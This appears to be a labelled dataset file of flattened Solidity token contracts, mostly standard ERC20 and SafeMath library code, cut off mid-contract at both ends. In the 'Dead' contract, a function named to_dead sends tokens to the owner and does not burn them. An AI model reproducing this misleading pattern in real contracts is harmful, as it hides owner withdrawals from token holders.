_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
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pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: openzeppelin-solidity/contracts/token/ERC20/DetailedERC20.sol
/**
* @title DetailedERC20 token
* @dev The decimals are only for visualization purposes.
* All the operations are done using the smallest and indivisible token unit,
* just as on Ethereum all the operations are done in wei.
*/
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/grapevine/token/GrapevineToken.sol
/**
* @title Grapevine Token
* @dev Grapevine Token
**/
contract GrapevineToken is DetailedERC20, BurnableToken, StandardToken, Ownable {
constructor() DetailedERC20("GVINE", "GVINE", 18) public {
totalSupply_ = 825000000 * (10 ** uint256(decimals)); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply_;
emit Transfer(address(0), msg.sender, totalSupply_);
}
/**
* @dev burns the provided the _value, can be used only by the owner of the contract.
* @param _value The value of the tokens to be burnt.
*/
function burn(uint256 _value) public onlyOwner {
super.burn(_value);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-15
*/
pragma solidity ^0.5.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Dead {
using SafeERC20 for IERC20;
address public dead = address(0);
address public owner;
IERC20 public dpr;
constructor(address _dpr) public{
dpr = IERC20(_dpr);
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner, "Not Owner");
_;
}
function to_dead(uint256 _amount) external onlyOwner{
dpr.safeTransfer(owner, _amount);
}
function withdraw(uint256 _amount) external onlyOwner {
dpr.safeTransfer(owner, _amount);
}
function transferOwnership(address _newOwner) external onlyOwner{
owner = _newOwner;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-02-04
*/
// Sources flattened with hardhat v2.6.1 https://hardhat.org
// File contracts/oz/0.8.0/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File contracts/oz/0.8.0/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File contracts/oz/0.8.0/token/ERC20/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File contracts/oz/0.8.0/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) =
target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
